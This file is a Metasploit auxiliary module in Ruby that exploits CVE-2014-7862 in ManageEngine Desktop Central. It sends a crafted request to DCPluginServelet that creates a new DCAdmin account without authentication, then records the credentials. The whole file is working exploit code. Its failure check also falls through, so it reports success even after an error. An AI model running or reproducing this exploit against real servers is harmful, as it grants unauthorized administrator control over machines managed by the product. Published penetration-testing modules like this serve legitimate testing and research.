metasploit-gs/modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ManageEngine Desktop Central Administrator Account Creation',
        'Description' => %q{
          This module exploits an administrator account creation vulnerability in Desktop Central
          from v7 onwards by sending a crafted request to DCPluginServelet. It has been tested in
          several versions of Desktop Central (including MSP) from v7 onwards.
        },
        'Author' => [
          'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2014-7862'],
          ['OSVDB', '116554'],
          ['URL', 'https://seclists.org/fulldisclosure/2015/Jan/2'],
          ['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_dc9_admin.txt'],
        ],
        'DisclosureDate' => '2014-12-31'
      )
    )

    register_options(
      [
        OptPort.new('RPORT', [true, 'The target port', 8020]),
        OptString.new('TARGETURI', [ true, 'ManageEngine Desktop Central URI', '/']),
        OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']),
        OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']),
        OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc'])
      ]
    )
  end

  def run
    # Generate password hash
    salt = Time.now.to_i.to_s
    password_encoded = Rex::Text.encode_base64([Rex::Text.md5(datastore['PASSWORD'] + salt)].pack('H*'))

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/servlets/DCPluginServelet'),
      'method' => 'GET',
      'vars_get' => {
        'action' => 'addPlugInUser',
        'role' => 'DCAdmin',
        'userName' => datastore['USERNAME'],
        'email' => datastore['EMAIL'],
        'phNumber' => Rex::Text.rand_text_numeric(6),
        'password' => password_encoded,
        'salt' => salt,
        'createdtime' => salt
      }
    })

    # Yes, "sucess" is really misspelt, as is "Servelet" ... !
    unless res && res.code == 200 && res.body && res.body.to_s =~ /sucess/
      print_error('Administrator account creation failed')
    end

    print_good("Created Administrator account with credentials #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
    connection_details = {
      module_fullname: fullname,
      username: datastore['USERNAME'],
      private_data: datastore['PASSWORD'],
      private_type: :password,
      workspace_id: myworkspace_id,
      access_level: 'Administrator',
      status: Metasploit::Model::Login::Status::UNTRIED
    }.merge(service_details)
    create_credential_and_login(connection_details)
  end
end